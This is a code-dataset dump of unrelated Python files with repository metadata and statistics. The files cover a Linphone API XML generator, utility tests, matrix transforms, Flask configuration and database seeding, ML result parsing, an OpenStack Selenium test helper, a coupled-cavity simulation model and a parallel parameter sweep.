self.__parseCFunctionMemberdef(m) if f is not None: self.add(f) def initFromFiles(self, xmlfiles): trees = [] for f in xmlfiles: tree = None try: if self.verbose: print("Parsing XML file: " + f.name) tree = ET.parse(f) except ET.ParseError as e: print(e) if tree is not None: trees.append(tree) for tree in trees: self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files = [ os.path.join(xmldir, f) for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files) def check(self): for c in self.classes: for name, p in six.iteritems(c.properties): if p.getter is None and p.setter is not None: print("Property '" + name + "' of class '" + c.name + "' has a setter but no getter") class Generator: def __init__(self, outputfile): self.__outputfile = outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes = { 'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode, 'values') for value in cenum.values: enumValuesNodeAttributes = { 'name' : value.name, 'deprecated' : str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f): functionAttributes = { 'name' : f.name, 'deprecated' : str(f.deprecated).lower() } if f.location is not None: functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = { 'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for arg in f.arguments: argumentNodeAttributes = { 'name' : arg.name, 'type' : arg.ctype, 'completetype' : arg.completeType } if arg.containedType is not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is not None: argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): # Do not include classes that contain nothing if len(cclass.events) == 0 and len(cclass.classMethods) == 0 and \ len(cclass.instanceMethods) == 0 and len(cclass.properties) == 0: return # Check the capabilities of the class has_ref_method = False has_unref_method = False has_destroy_method = False for methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref': has_ref_method = True elif methodname_without_prefix == 'unref': has_unref_method = True elif methodname_without_prefix == 'destroy': has_destroy_method = True refcountable = False destroyable = False if has_ref_method and has_unref_method: refcountable = True if has_destroy_method: destroyable = True classNodeAttributes = { 'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } # Generate the XML node for the class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) > 0: eventsNode = ET.SubElement(classNode, 'events') eventnames = [] for eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames = [] for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames = [] for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode, 'properties') propnames = [] for propname in cclass.properties: propnames.append(propname) propnames.sort() for propname in propnames: propertyNodeAttributes = { 'name' : propname } propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print("Generating XML document of Linphone API to '" + self.__outputfile.name + "'") apiNode = ET.Element('api') project.enums.sort(key = lambda e: e.name) if len(project.enums) > 0: enumsNode = ET.SubElement(apiNode, 'enums') for cenum in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c: c.name) for cclass in project.classes: self.__generateClass(cclass, classesNode) s = '<?xml version="1.0" encoding="UTF-8" ?>\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\t') self.__outputfile.write(s) def main(argv = None): if argv is None: argv = sys.argv argparser = argparse.ArgumentParser(description="Generate XML version of the Linphone API.") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help="Output XML file describing the Linphone API.") argparser.add_argument('--verbose', help="Increase output verbosity", action='store_true') argparser.add_argument('--pretty', help="XML pretty print", action='store_true') argparser.add_argument('xmldir', help="XML directory generated by doxygen.") args = argparser.parse_args() if args.outputfile == None: args.outputfile = open('api.xml', 'w') project = Project() if args.verbose: project.verbose = True if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project) if __name__ == "__main__": sys.exit(main())

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0.278424

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28,602

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36.02267

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false

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1

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86686cf65534bfae5dd8d13670449f7c68cf0bb3

2,226

py

Python

yolk/test/utils.py

yolkdata/yolk-python

978d98cbe637c1309a1be766a40bb874e996c61d

[ "MIT", "Unlicense" ]

null

yolk/test/utils.py

yolkdata/yolk-python

978d98cbe637c1309a1be766a40bb874e996c61d

[ "MIT", "Unlicense" ]

null

yolk/test/utils.py

yolkdata/yolk-python

978d98cbe637c1309a1be766a40bb874e996c61d

[ "MIT", "Unlicense" ]

null

from datetime import date, datetime, timedelta from decimal import Decimal import unittest from dateutil.tz import tzutc import six from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now(tz=tzutc()) self.assertTrue(utils.is_naive(now)) self.assertFalse(utils.is_naive(utcnow)) fixed = utils.guess_timezone(now) self.assertFalse(utils.is_naive(fixed)) shouldnt_be_edited = utils.guess_timezone(utcnow) self.assertEqual(utcnow, shouldnt_be_edited) def test_clean(self): simple = { 'decimal': Decimal('0.142857'), 'unicode': six.u('woo'), 'date': datetime.now(), 'long': 200000000, 'integer': 1, 'float': 2.0, 'bool': True, 'str': 'woo', 'none': None } complicated = { 'exception': Exception('This should show up'), 'timedelta': timedelta(microseconds=20), 'list': [1, 2, 3] } combined = dict(simple.items()) combined.update(complicated.items()) pre_clean_keys = combined.keys() utils.clean(combined) self.assertEqual(combined.keys(), pre_clean_keys) def test_clean_with_dates(self): dict_with_dates = { 'birthdate': date(1980, 1, 1), 'registration': datetime.utcnow(), } self.assertEqual(dict_with_dates, utils.clean(dict_with_dates)) @classmethod def test_bytes(cls): if six.PY3: item = bytes(10) else: item = bytearray(10) utils.clean(item) def test_clean_fn(self): cleaned = utils.clean({'fn': lambda x: x, 'number': 4}) self.assertEqual(cleaned['number'], 4) if 'fn' in cleaned: self.assertEqual(cleaned['fn'], None) def test_remove_slash(self): self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io/')) self.assertEqual('http://segment.io', utils.remove_trailing_slash('http://segment.io'))

28.177215

75

0.574573

245

2,226

5.081633

0.37551

0.084337

0.041767

0.036948

0.15261

0.104418

0

0.023718

0.299191

2,226

78

76

28.538462

0.774359

0

0.032787

0

0.093441

0

0.163934

1

0.098361

false

0

0.098361

0

0.213115

0

null

0

null

0

1

0

866878f76f3d3d6bb3a8d89014200d8e8b85019b

2,797

py

Python

09Scan/matrix.py

kw1122/MKS66

25986e79077692afbc085920af1fef276c22d967

[ "MIT" ]

null

09Scan/matrix.py

kw1122/MKS66

25986e79077692afbc085920af1fef276c22d967

[ "MIT" ]

null

09Scan/matrix.py

kw1122/MKS66

25986e79077692afbc085920af1fef276c22d967

[ "MIT" ]

null

""" A matrix will be an N sized list of 4 element lists. Each individual list will represent an [x, y, z, 1] point. For multiplication purposes, consider the lists like so: x0 x1 xn y0 y1 yn z0 z1 ... zn 1 1 1 """ import math def make_bezier(): return [ [-1, 3, -3, 1], [3, -6, 3, 0], [-3, 3, 0, 0], [1, 0, 0, 0] ] def make_hermite(): return [ [2, -3, 0, 1], [-2, 3, 0, 0], [1, -2, 1, 0], [1, -1, 0, 0] ] def generate_curve_coefs(p0, p1, p2, p3, t): coefs = [[p0, p1, p2, p3]] if t == 'hermite': curve = make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y, z): t = new_matrix() ident(t) t[3][0] = x t[3][1] = y t[3][2] = z return t def make_scale(x, y, z): t = new_matrix() ident(t) t[0][0] = x t[1][1] = y t[2][2] = z return t def make_rotX(theta): t = new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta) t[1][2] = math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotY(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotZ(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta) t[1][1] = math.cos(theta) return t #print the matrix such that it looks like #the template in the top comment def print_matrix(matrix): s = '' for r in range(len(matrix[0])): for c in range(len(matrix)): s+= str(matrix[c][r]) + ' ' s += '\n' print (s) #turn the paramter matrix into an identity matrix #you may assume matrix is square def ident(matrix): for r in range(len(matrix[0])): for c in range(len(matrix)): if r == c: matrix[c][r] = 1 else: matrix[c][r] = 0 #multiply m1 by m2, modifying m2 to be the product #m1 * m2 -> m2 def matrix_mult(m1, m2): point = 0 for row in m2: #get a copy of the next point tmp = row[:] for r in range(4): m2[point][r] = (m1[0][r] * tmp[0] + m1[1][r] * tmp[1] + m1[2][r] * tmp[2] + m1[3][r] * tmp[3]) point += 1 def new_matrix(rows = 4, cols = 4): m = [] for c in range(cols): m.append([]) for r in range(rows): m[c].append(0) return m

22.739837

59

0.464784

442

2,797

2.895928

0.244344

0.05625

0.060938

0.355469

0.317969

0.235938

0.21875

0.217188

0.185938

0

0.06843

0.378262

2,797

122

60

22.92623

0.667625

0.167322

0

0.315217

0

0.00456

0

1

0.130435

false

0

0.01087

0.021739

0.23913

0.021739

0

null

0

null

0

1

0

866977a21872a2e8438dbbd5f5b289547da5a50c

641

py

Python

app/flaskApp/config.py

jeanmarc2019/PTHacks2019-Planning

bc0c71588187fde8498494b3e74728c09de56f18

[ "MIT" ]

null

app/flaskApp/config.py

jeanmarc2019/PTHacks2019-Planning

bc0c71588187fde8498494b3e74728c09de56f18

[ "MIT" ]

null

app/flaskApp/config.py

jeanmarc2019/PTHacks2019-Planning

bc0c71588187fde8498494b3e74728c09de56f18

[ "MIT" ]

null

import configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = "Flask-debug" if debug else "Flask" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else "/var/www/html/flaskApp/cfg.ini") self.debug = cfg.getboolean(section, "DEBUG") self.csrf_enabled = cfg.getboolean(section,"CSRF_ENABLED") self.threads_per_page = cfg.getint(section,"THREADS_PER_PAGE") self.port = cfg.getint(section,"PORT") self.host = cfg.get(section,"HOST")

29.136364

73

0.669267

84

641

4.904762

0.440476

0.050971

0.053398

0

0.199688

641

21

74

30.52381

0.803119

0

0.148206

0.046802

0

1

0.071429

false

0

0.142857

0

0.285714

0

null

0

null

0

1

0

866b4e64606eb0b8b047d742a5c885f477addc0c

1,551

py

Python

authentication/migrate.py

anae09/electionWebService

756968e5cd6db1422ae5fe8445a9e92a25953073

[ "MIT" ]

null

authentication/migrate.py

anae09/electionWebService

756968e5cd6db1422ae5fe8445a9e92a25953073

[ "MIT" ]

null

authentication/migrate.py

anae09/electionWebService

756968e5cd6db1422ae5fe8445a9e92a25953073

[ "MIT" ]

null

from flask import Flask; from configuration import Configuration; from flask_migrate import Migrate, init, migrate, upgrade; from models import database, Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done = False; while not done: try: if not database_exists(application.config["SQLALCHEMY_DATABASE_URI"]): create_database(application.config["SQLALCHEMY_DATABASE_URI"]); database.init_app(application); with application.app_context() as context: init(); migrate(message="Production migration"); upgrade(); adminRole = Role(name="administrator"); userRole = Role(name="user"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg="0000000000000", forename="admin", surname="admin", email="admin@admin.com", password="1" ); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True; except Exception as err: print(err);

28.2

78

0.595745

144

1,551

6.298611

0.395833

0.115766

0.079383

0.077178

0.187431

0.103638

0

0.012975

0.30432

1,551

54

79

28.722222

0.827618

0

0.170732

0

0.078659

0.029658

0

1

0

false

0.02439

0.121951

0

0.121951

0.02439

0

null

0

null

0

1

0

866b8b6db3282415cf332ea707795a1897c51203

4,066

py

Python

output/ensemble_analysis.py

gitter-lab/pria-ams-enamine

b37bc7edf3c21af6653267ecd4bb9fd232eeb575

[ "MIT" ]

1

2021-09-28T23:10:05.000Z

output/ensemble_analysis.py

gitter-lab/pria-ams-enamine

b37bc7edf3c21af6653267ecd4bb9fd232eeb575

[ "MIT" ]

null

output/ensemble_analysis.py

gitter-lab/pria-ams-enamine

b37bc7edf3c21af6653267ecd4bb9fd232eeb575

[ "MIT" ]

null

from __future__ import print_function import os import json import numpy as np def extract(file_path): if not os.path.isfile(file_path): return -1, -1, -1 with open(file_path, 'r') as f: lines = f.readlines() test_roc, test_precision, test_NEF = -1, -1, -1 for line in lines: if 'test precision' in line: line = line.strip().split(':') test_precision = float(line[1]) if 'test roc' in line: line = line.strip().split(':') test_roc = float(line[1]) if 'ratio: 0.01, NEF:' in line: line = line.strip().replace('NEF:', '').split(',') test_NEF = float(line[1]) return test_roc, test_precision, test_NEF if __name__ == '__main__': model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression' ] model_process_num_list = { 'random_forest_classification': [139, 69, 111, 212, 210, 148, 28, 61, 124, 130, 131, 141, 14, 38, 165, 65, 123, 94, 3, 88, 72], 'xgboost_classification': [140, 967, 960, 807, 263, 694, 440, 47, 116, 792, 663, 32, 564, 950, 735, 84, 364, 605, 431, 55, 388], 'xgboost_regression': [187, 6, 514, 507, 880, 440, 605, 718, 754, 409, 586, 214, 753, 65, 294, 911, 721, 81, 321, 545, 280], 'single_deep_classification': [356, 404, 215, 93, 254, 88, 423, 47, 363, 132, 5, 385, 370, 29, 415, 54, 124, 183, 180, 416], 'single_deep_regression': [199, 323, 114, 123, 47, 175, 17, 178, 106, 265, 67, 157, 369, 115, 191, 20, 27, 108, 270, 45], 'ensemble': [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] } for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) hyper_parameter_result_roc = [] hyper_parameter_result_precision = [] hyper_parameter_result_NEF = [] for running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [], [], [] for idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc, test_precision, test_NEF = extract(file_path) if test_roc == -1 and test_precision == -1: print('missing index: {}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc) if test_precision != -1: test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\t{}\t{}\t{}'.format(running_process, roc, pr, NEF)) print() print('On The Last Folder') model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble' ] for model in model_list: print('Model: {}'.format(model)) number = len(model_process_num_list[model]) for running_process in model_process_num_list[model]: if model == 'ensemble': file_path = '{}/{}.out'.format(model, running_process) else: file_path = '{}/{}_{}_4.out'.format(model, model, running_process) test_roc, test_precision, test_NEF = extract(file_path) print('{}\t{}'.format(running_process, test_NEF)) print()

42.354167

171

0.58485

518

4,066

4.303089

0.34556

0.037685

0.080754

0.051144

0.445491

0.403769

0.349933

0.324809

0.248542

0

0.107475

0.286031

4,066

96

172

42.354167

0.660351

0

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0

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0

1

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false

0

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0

0.089744

0.115385

0

null

0

null

0

1

0

866be250cb91ad06867da752bf60c3e580b71448

1,687

py

Python

openstack_dashboard/test/integration_tests/regions/messages.py

ankur-gupta91/block_storage

938548a3d4507dc56c1c26b442767eb41aa2e610

[ "Apache-2.0" ]

1

2021-01-02T03:34:19.000Z

openstack_dashboard/test/integration_tests/regions/messages.py

ankur-gupta91/block_storage

938548a3d4507dc56c1c26b442767eb41aa2e610

[ "Apache-2.0" ]

null

openstack_dashboard/test/integration_tests/regions/messages.py

ankur-gupta91/block_storage

938548a3d4507dc56c1c26b442767eb41aa2e610

[ "Apache-2.0" ]

null

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this # point, because the instance is not initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem) def close(self): self._get_element(*self._close_locator).click()

36.673913

79

0.711322

224

1,687

5.165179

0.535714

0.051858

0.022472

0.027658

0

0.003731

0.205691

1,687

45

80

37.488889

0.859701

0.405453

0

0.054767

0

1

0.173913

false

0

0.130435

0.086957

0.478261

0

null

0

null

0

1

0

866d362b7d20329b9a8556ff353eba1624b11b05

8,175

py

Python

model_input.py

bgarbin/GUIDE

06bca4e696b97ca14c11d74844d3b3ab7287f8f1

[ "MIT" ]

null

model_input.py

bgarbin/GUIDE

06bca4e696b97ca14c11d74844d3b3ab7287f8f1

[ "MIT" ]

null

model_input.py

bgarbin/GUIDE

06bca4e696b97ca14c11d74844d3b3ab7287f8f1

[ "MIT" ]

null

# -*- coding: utf-8 -*- import numpy as np #import cmath as cm # Main parameters for window # 'record_every': number of time_steps one between two consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the plot configuration def load_docks(): ''' Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as "value" with keys: "type" (accepted values: 'plot' and 'image'), "zoomOf" (key name of another dock), "position" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), "relativeTo" (optional, key name of another dock; position relative to another dock), size [(xlength,ylength); note that lengths arguments are only a suggestion; docks will still have to fill the entire dock area and obey the limits of their internal widgets], "labels" (dict of position:str), "title" (str). ''' docks = { 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return docks def load_variables(): ''' Returns a dict of the variables. Each variable is a dict with keys: "type" (e.g. np.float64, np.complex128), "init_cond" (type), "plot" (bool, optional default is True), "dock" (list of key name(s) of docks [str] as defined in load_dock function; optional; if not provided, will be ploted on every plot), "equation" (callable, optional default is diff_eq_{variable_name}), "help" (str, to be displayed in help message). Additionnal keys are added internally: "value", "observable" (False), "lineedit", "checkbox". ''' variables = { 'A' : {'type': np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B' : {'type': np.complex128, 'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B} } return variables def load_observables(): ''' Returns a dict of the observables. Similar to variables, observables are added internally to the dictionnary of variables. Each observable is a dict with keys: "type" (e.g. np.float64, np.complex128), "init_cond" (type), "plot" (bool, optional default is True), "dock" (list of key name(s) of docks [str] as defined in load_dock function; optional; if not provided, will be ploted on every plot), "equation" (callable, optional default is eq_{variable_name}), "calculation_size" (bool, whether you want according variable to be only the size of what calculation returns; WARNING: those items won't be stored), "help" (str, to be displayed in help message). Additionnal keys are added internally: "value", "observable" (True), "lineedit", "checkbox". ''' observables = { 'mod_A' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted in phase space'}, 'mod_B_2' : {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in image'}, #'ph_A' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']} } return observables def load_params(): ''' Returns a dict of the parameters. Similarly to variables/observables, each parameter has a dictionnary as "value" with keys: "init_cond" (float), "min" (float), "max" (float), step (float or int; WARNING if int this parameter will be an integer), "help" (str, to be displayed in help message). Additionnal keys are added internally: "value", "spinbox", "slider", "slider_conversion_factor". ''' params = {} params['delta'] = {'init_cond': -8., 'min': -10., 'max': 10., 'step': 0.01, 'help':'detuning parameter'} params['f'] = {'init_cond': 4.8, 'min': 0. , 'max': 20., 'step': 0.01} params['kappa'] = {'init_cond': 2.8, 'min': 0. , 'max': 10., 'step': 0.01} params['gamma'] = {'init_cond': 0. , 'min': -1. , 'max': 1., 'step': 0.01} params['tau'] = {'init_cond': 1. , 'min': 0. , 'max': 10., 'step': 0.01} params['npts_PS'] = {'init_cond': 1000 , 'min': 1 , 'max': 2000, 'step': 1} params['folding'] = {'init_cond': 100 , 'min': 1 , 'max': 1000, 'step': 1} params['min_scan'] = {'init_cond': 0, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05, 'min': 0.001, 'max': 10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50, 'min': 0, 'max': 500, 'step': 1, 'help':'detuning parameter'} return params # BEGIN Declaration of the equations. Automatically recognized pattern are "diff_eq_{variable}" (variables) and "eq_{observable}" (observables); with a name after the pattern that must match the variable/observable's one. Alternatively, you may use custom equation names. You should declare it in the variable/observable dictionnary with keyword "equation". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for temp in variables['B']] def keyboard_keys(): """ Returns a dictionnary of user defined keys of form key:callable. System reserved keys: [" ", "q", "h", "s", "r", "i", "c"]. This must return an empty dict if no extra keys. """ keys = { 't': ramp_f, } return keys #return {} def ramp_f(ui,variables,params): print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): ''' Takes as arguments dicts of variables and params as {'key':value}. Returns a dict of the results with the same form. For now the function name must start with "kernel_" ''' pass

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866eb114075c78f8e3231df363ccab857402a80e

1,464

py

Python

input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py

Harshavardhan-BV/Cancer-compe-strat

e4decacd5779e85a68c81d0ce3bedf42dea2964f

[ "MIT" ]

1

2020-10-18T15:54:26.000Z

input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py

Harshavardhan-BV/Cancer-compe-strat

e4decacd5779e85a68c81d0ce3bedf42dea2964f

[ "MIT" ]

null

input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py

Harshavardhan-BV/Cancer-compe-strat

e4decacd5779e85a68c81d0ce3bedf42dea2964f

[ "MIT" ]

null

from multiprocessing import Pool import EnvEq as ee import numpy as np import itertools as it import os #parsing input into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try: os.makedirs("../../raw_output/EnvEq/"+f_name) except: pass #iterator over these o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs other than o2_lim f_name_i=f_name+"{:.1f}".format(u_lim_o2[0])+"-"+"{:.1f}".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims pool.close() pool.join()

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null

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1

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866f56e685c4eea3f8e5c6a81ebbf185f955f32d

4,495

py

Python

task1_makeTrainingDataset.py

1985312383/contest

